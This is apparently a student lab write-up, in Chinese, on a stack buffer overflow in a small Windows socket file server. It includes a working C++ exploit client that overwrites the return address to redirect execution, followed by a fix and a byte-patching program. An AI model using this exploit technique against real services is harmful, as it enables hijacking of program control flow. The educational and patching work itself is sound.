[Windows] 缓冲区溢出漏洞实验和补丁程序编写

[Windows] 缓冲区溢出漏洞实验和补丁程序编写

文章目录

  • [Windows] 缓冲区溢出漏洞实验和补丁程序编写
    • 题目描述
    • 分析环境
    • 待分析程序信息
    • 漏洞简述
    • 漏洞复现
      • 正常情况
      • 触发漏洞
    • 漏洞分析
      • 静态分析
      • 动态分析
    • 漏洞利用代码
    • 修复建议
    • 补丁程序
        • 补丁原理
        • 运行效果

题目描述

文件列表:
SSEx.exe : 编译生成的可执行文件

已知所给的代码中存在安全漏洞

  1. 请找到导致漏洞的代码
  2. 分析漏洞的成因
  3. 给出一种成功的利用:显示信息“eXploited!”
  4. 修复该漏洞
  5. 撰写详细的分析利用报告

题目文件百度网盘链接:link
提取码:fwle

分析环境

操作系统 Windows 10
C/C++ IDE Visual Studio 2019
反编译工具 IDA Pro 64-bit
十六进制编辑器 WinHex v20.3
分析日期 缓冲区溢出
漏洞类型 缓冲区溢出
危害等级 中危
威胁类型 本地

待分析程序信息

文件名 SSEx
文件类型 应用程序(.exe)
大小 10.0 KB (10,240 字节)
占用空间 12.0 KB (12,288 字节)
创建时间 2021年12月5日 9:56:57
修改时间 2021年12月5日 13:59:07
访问时间 2021年12月12日 18:00:06

漏洞简述

       本程序为基于socket的文件传输服务端程序。
客户端与服务端建立连接,发送请求类型给服务端(5字节),若连接未断开,则将待下载的文件名长度和文件名发送给服务端,等待服务器发送文件。
       服务端设计思路:服务端接收客户端的请求(阻塞式),每接收到一个客户端请求连接后,就新开一个处理文件的线程。首先接收客户端请求类型,是否为“DOWN”,是则继续接收,否则断开连接。接收到“DOWN”后,继续接收客户端发送的带下载文件信息(文件名长度,文件名)。将本地与客户端传输的文件名同名的文件将文件分块(4096字节)发送给客户端。传输结束后,在服务器控制台输出传输文件的文件名。
       该程序中有三个写操作,分别对应三次recv函数(接收客户端传输数据),接收缓冲区的长度为256。前两个recv函数分别指定接收长度为5和4,均小于256,所以不存在缓冲区溢出可能。而第三个recv函数指定的接收长度为第二次recv函数接收到的文件名长度,所以当接收到的文件名长度大于256时,可能会造成溢出。
       该缓冲区溢出漏洞可能会覆盖sockClient函数返回地址,使得程序转跳到攻击者构造的地址,从而改变程序执行逻辑,使得程序异常终止或者执行攻击者希望的功能。

漏洞复现

正常情况

客户端传输的文件名长度小于256。
[Windows] 缓冲区溢出漏洞实验和补丁程序编写_第1张图片
服务端程序正常执行,完成文件传输后输出文件名。
[Windows] 缓冲区溢出漏洞实验和补丁程序编写_第2张图片

触发漏洞

客户端传输的文件名长度大于256。
[Windows] 缓冲区溢出漏洞实验和补丁程序编写_第3张图片
客户端传输构造后的文件名。
请添加图片描述
服务端接收客户端传输的文件名后,造成缓冲区溢出,触发漏洞,使得程序跳转到display函数,在控制台打印输出攻击者构造的信息。
[Windows] 缓冲区溢出漏洞实验和补丁程序编写_第4张图片

漏洞分析

       使用IDA Pro 64-bit对SSEx.exe进行反编译,可以得到整个程序的执行逻辑。程序流程图如下:
[Windows] 缓冲区溢出漏洞实验和补丁程序编写_第5张图片

静态分析

       通过反编译得到汇编代码。由前面的程序执行流程可知,程序的缓冲区溢出漏洞只会出现在第三个recv函数处触发缓冲区溢出漏洞。首先转跳到clientproc函数的汇编代码处。
       首先是局部变量。szBuffer为接收数据的缓冲数组,大小为100h(256字节)。buf为读取文件时的缓冲数组指针,大小为4h。fp为文件指针,大小为4h。nSize为文件内容的长度,大小为4h。nRet为socket传输的返回值,大小与4h。sockClient为传入clientproc函数的参数,大小为4h。
请添加图片描述
       因此可以推出clientproc函数的栈帧分布。
[Windows] 缓冲区溢出漏洞实验和补丁程序编写_第6张图片
       可以看出如果szBuffer的写入没有进行边界检查,当写入大小超过118h时,就会覆盖掉clientproc函数的返回地址,使得clientproc函数执行完之后,转跳到攻击者所覆盖的地址,完成攻击。
       为验证szBuffer写入时是否进行边界检查,顺序查看三个对szBuffer进行写入操作的recv函数。第一个和第二个的recv函数调用情况如下:
[Windows] 缓冲区溢出漏洞实验和补丁程序编写_第7张图片
[Windows] 缓冲区溢出漏洞实验和补丁程序编写_第8张图片
       可以看到前两次recv函数的参数中,len的值分别为5和4,均小于256,所以不会造成溢出。
       第三个的recv函数调用情况如下:
[Windows] 缓冲区溢出漏洞实验和补丁程序编写_第9张图片
       可以看到第三个recv函数参数中,len的值为ecx寄存器中的值。向上查看汇编代码可知,ecx寄存器中的值为第二个recv函数接收的数据,也就是客户端发送的文件名长度。也就是说,ecx寄存器中的值是由客户端决定的,并不固定。一旦客户端发送的文件名长度超过256,第三个recv函数在向szBuffer中写入接收数据的时候就可能造成缓冲区溢出。所以第三个recv函数可能会触发缓冲区溢出漏洞。
       根据题目信息,攻击者希望利用缓冲区溢出漏洞,使得服务端的控制台打印输出“eXploited!”字样,那么必定会用到输出函数。根据程序执行逻辑可知,程序中存在一个display函数用于打印输出文件名。所以攻击者很有可能利用这个函数,达到攻击目的,即使得程序在缓冲区溢出后,某个函数的返回地址被更改,转跳到display函数,打印输出“eXploited!”字样。
       在汇编代码中定位display函数,可以看到函数内部具体如下:
[Windows] 缓冲区溢出漏洞实验和补丁程序编写_第10张图片
       显然,display函数没有传入参数。同时,puts函数传入了一个名为msg的字符串参数。那么可以判断,msg为一个全局变量,同时,clientproc函数中会将文件名传给msg,用于文件名输出。此时返回clientproc函数中查找msg的赋值情况。
请添加图片描述
       可以看到,在第三个recv函数后,将szBuffer的数据赋值给了msg中。
       所以,攻击者只需要在客户端传输一个280或者更大的文件名长度和一个精心构造的文件名给服务端,就可以完成攻击目标。精心构造的文件名的前12位为eXploited!,第276到第280位为display函数的首地址,中间的数据全为0。

动态分析

       使用IDA对程序进行反编译后,进行调试。根据静态分析的结果,只需对第三个recv函数处进行动态调试验证即可。
       首先查看clientproc函数的栈帧分布情况,比较与静态分析推测的是否相符。定位到clientproc函数调用处,设置断点,单步调试。
请添加图片描述
       进入clientproc函数后,查看该函数栈帧。
[Windows] 缓冲区溢出漏洞实验和补丁程序编写_第11张图片
       与静态分析预测的栈帧结构相符。所以,想要利用该缓冲区溢出漏洞,需要将返回地址覆盖,改为display函数的入口地址。
       首先需要使第二个recv函数接收一个大于280的数,才能保证第三个recv函数接收的数据长度超出缓冲数组seBuffer的长度256并且足以覆盖clientproc函数的返回地址。此时修改客户端程序,发送一个大于280的数280。
[Windows] 缓冲区溢出漏洞实验和补丁程序编写_第12张图片
       然后服务器程序的第二个recv函数接收该数据,并作为第三个recv函数的接收长度参数压入栈中。
[Windows] 缓冲区溢出漏洞实验和补丁程序编写_第13张图片
       为保证clientproc函数的返回地址能被覆盖变为display函数的入口地址,则需要构造客户端第三次发送的数据。根据静态分析和前边的动态分析,可以确认clientproc函数的返回地址与szBuffer数组的首地址相差276位。所以需要将客户端第三次发送的数据的第277~280位改为display函数的入口地址0x00401080。同时,为了在服务端控制台输出利用信息eXploited!,还需要将客户端第三次发送的数据的前几位设置为“eXploited!”。
请添加图片描述
       然后客户端程序将构造好的数据发送给服务端。
[Windows] 缓冲区溢出漏洞实验和补丁程序编写_第14张图片
       服务端程序的第三个recv函数接收客户端发送的构造数据,并将其赋值给szBuffer数组,此时查看szBuffer数组中的数据。
[Windows] 缓冲区溢出漏洞实验和补丁程序编写_第15张图片
       以及clientproc函数的返回地址是否被覆盖为display函数的入口地址。
请添加图片描述
       可以看到szBuffer数组中的数据已经变为客户端发送的构造数据,并且clientproc函数的返回地址成功被覆盖为display函数的入口地址0×00401080。
       继续运行程序,因为szBuffer中的数据为“eXploited!”,所以服务端不会存在该文件,程序直接转跳到clientproc函数的末尾。执行到clientproc函数的返回地址,因为返回地址已经被覆盖为display函数的入口地址,所以程序转跳到display函数继续执行。
[Windows] 缓冲区溢出漏洞实验和补丁程序编写_第16张图片
       puts函数的参数为msg,有静态分析可知是一个全局变量,并且在第三个recv函数之后,将szBuffer的数据赋给了msg。所以程序执行puts函数,在控制台中打印输出“eXploited!”,漏洞利用成功。
[Windows] 缓冲区溢出漏洞实验和补丁程序编写_第17张图片

漏洞利用代码

//Cilent
//漏洞利用客户端
#include 
#include 
#include 
#include 
#include 
#include 

using namespace std;

#pragma comment (lib,"ws2_32.lib")
#define PORT 192

int main()
{
    WSADATA wsa;

    if (WSAStartup(MAKEWORD(2,2),&wsa) != 0)
    {
        cout << "filad" << endl;
        return 0;
    }

    SOCKET sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    if (sClient == INVALID_SOCKET)
    {
        cout << "创建套接字失败" << endl;
        WSACleanup();
        return -1;
    }

    //初始化网络节点
    SOCKADDR_IN si;
    si.sin_family = AF_INET;
    si.sin_port = htons(PORT);
    inet_pton(AF_INET,"127.0.0.1",&si.sin_addr.S_un.S_addr);
    //连接
    int ret = connect(sClient,(sockaddr*)&si,sizeof(sockaddr));

    if (ret == SOCKET_ERROR)
    {
        cout << "网络连接失败" << endl;
        WSACleanup();
        closesocket(sClient);
        return -1;
    }

    //向服务器发送消息
    ret = send(sClient,"DOWN",5,0);
    if (ret == SOCKET_ERROR)
    {
        cout << "接受失败" << endl;
        WSACleanup();
        closesocket(sClient);
        return -1;
    }   
    //向服务器发送消息
    ret = send(sClient,"280",4,0);
    if (ret == SOCKET_ERROR)
    {
        cout << "网络连接失败" << endl;
        WSACleanup();
        closesocket(sClient);
        return -1;
    }

    //向服务器发送消息
    char buf[284] = "eXploited!";
    *(int*)&buf[276] = 0x00401080;
   // *(int*)&buf[280] = 0x00401406;
    ret = send(sClient,buf,280,0);
    if (ret == SOCKET_ERROR)
    {
        cout << "网络连接失败" << endl;
        WSACleanup();
        closesocket(sClient);
        return -1;
    }

    //关闭套接字,释放网络环境
    closesocket(sClient);
    WSACleanup();
    return 0;
}

修复建议

       1、直接修改服务端程序,在第二个recv函数后添加判断机制,当recv函数接收到的数据大于szBuffer的长度时,报错并停止向下运行。
       伪代码如下:

if (recv_get > 256):
	print (“输入长度超出边界!”)
	return
else:
	继续执行

        2、编写文件补丁程序,修复漏洞。在程序数据段的某一空白位置,编写上述判断机制的汇编代码。将第二个recv函数后的cmp指令处改为jmp转跳指令,转跳到添加的汇编代码的首地址,执行判断机制。请添加图片描述
        判断机制的汇编代码如下:
判断机制的汇编代码如下:

cmp		[ebp+nRet], 0FFFFFFFFh
jz		loc_40127E
mov     eax, dword ptr [ebp+szBuffer]
mov     dword ptr [ebp+nRet], eax
cmp		[ebp+nRet], FFh		; >255 ?
jbe		loc_401145			; 返回继续执行第三个recv函数
jmp		loc_40127E			; 返回clientproc函数继续执行clossocket函数

补丁程序

补丁原理

        首先使用LoadPE软件查看CM.exe程序的区段信息,方便补丁程序定位CM.exe程序中的代码位置。
[Windows] 缓冲区溢出漏洞实验和补丁程序编写_第18张图片
        可以计算CM.exe程序的代码段的文件偏移地址为0x00400000 + 0xC00。
        后续依次通过WriteFile函数向CM.exe程序中的指定位置写入汇编代码的机器码即可。各语句对应的机器码如下:

cmp		[ebp+nRet], 0FFFFFFFFh				{0x83,0x7D,0xFC,0xFF}
jz		loc_40127E							{0x0F,0x84,0xD9,0xF1,0xFF,0xFF}
mov     eax, dword ptr [ebp+szBuffer]		{0x8B,0x85,0xF0,0xFF,0xFF,0xFF}
mov     dword ptr [ebp+nRet], eax			{0x89,0x45,0xFC}
cmp		[ebp+nRet], FFh						{0x83,0x7D,0xFC,0xFF}
jbe		loc_401145							{0x0F,0x86,0x8D,0xF0,0xFF,0xFF}
jmp		loc_40127E							{0xE9,0xC1,0xF1,0xFF,0xFF}

完整补丁程序代码如下:

#include 
#include 

using namespace std;

LPWSTR ConvertCharToLPWSTR(const char* szString)
{
	int dwLen = strlen(szString) + 1;
	int nwLen = MultiByteToWideChar(CP_ACP, 0, szString, dwLen, NULL, 0);//算出合适的长度
	LPWSTR lpszPath = new WCHAR[dwLen];
	MultiByteToWideChar(CP_ACP, 0, szString, dwLen, lpszPath, nwLen);
	return lpszPath;
}

int main()
{

	DWORD dwFileOffset;
	DWORD FileOffset = 0x00400000 + 0xC00;		 //文件偏移地址
	BYTE bCode = 0;

	DWORD dwReadNum = 0;


	//打开文件
	LPCWSTR lp = ConvertCharToLPWSTR("SSEx.exe");

	HANDLE hFile = CreateFile(lp, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_WRITE | FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if (INVALID_HANDLE_VALUE == hFile)

	{
		cout << "File not exsit or it's already opened!" << endl;

		return -1;

	}

	dwFileOffset = 0x0040113F - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\x0F');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x00401140 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\x85');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x00401141 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\x57');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x00401142 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\x0F');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x00401143 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\x00');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x00401144 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\x00');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);

	//写判断机制指令
	//cmp		[ebp+nRet], 0FFFFFFFFh
	dwFileOffset = 0x0040209C - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\x83');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x0040209D - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\x7D');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x0040209E - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xFC');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x0040209F - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xFF');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);

	//jz		loc_40127E
	dwFileOffset = 0x004020A0 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\x0F');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020A1 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\x84');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020A2 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xD9');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020A3 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xF1');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020A4 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xFF');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020A5 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xFF');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);

	//mov     eax, dword ptr [ebp+buf]
	dwFileOffset = 0x004020A6 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\x8B');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020A7 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\x85');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020A8 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xF0');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020A9 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xFF');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020AA - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xFF');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020AB - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xFF');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);

	//mov     dword ptr [ebp+optval], eax
	dwFileOffset = 0x004020AC - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\x89');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020AD - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\x45');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020AE - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xFC');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);

	//cmp		[ebp+nRet], FFh
	dwFileOffset = 0x004020AF - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\x83');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020B0 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\x7D');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020B1 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xFC');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020B2 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xFF');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);

	//jbe		loc_401145
	dwFileOffset = 0x004020B3 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\x0F');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020B4 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\x86');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020B5 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\x8D');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020B6 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xF0');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020B7 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xFF');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020B8 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xFF');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	//jmp		loc_40127E
	dwFileOffset = 0x004020B9 - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xE9');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020BA - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xC1');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020BB - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xF1');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020BC - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xFF');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);
	dwFileOffset = 0x004020BD - FileOffset;
	SetFilePointer(hFile, dwFileOffset, 0, FILE_BEGIN);
	bCode = TEXT('\xFF');
	WriteFile(hFile, (LPVOID)&bCode, sizeof(BYTE), &dwReadNum, NULL);

	CloseHandle(hFile);

	return 0;
}

运行效果

        在程序的0x0040209C处的空白代码段,写入判断机制代码。[Windows] 缓冲区溢出漏洞实验和补丁程序编写_第19张图片
        将程序中第二个recv函数后的代码改为jnz loc_40209C。
请添加图片描述
        此时,当服务端接收客户端发送的文件名长度时,一旦其超过256就会直接断开连接,不执行第三个recv函数。

你可能感兴趣的:(信息安全,c++,反汇编,安全漏洞,安全)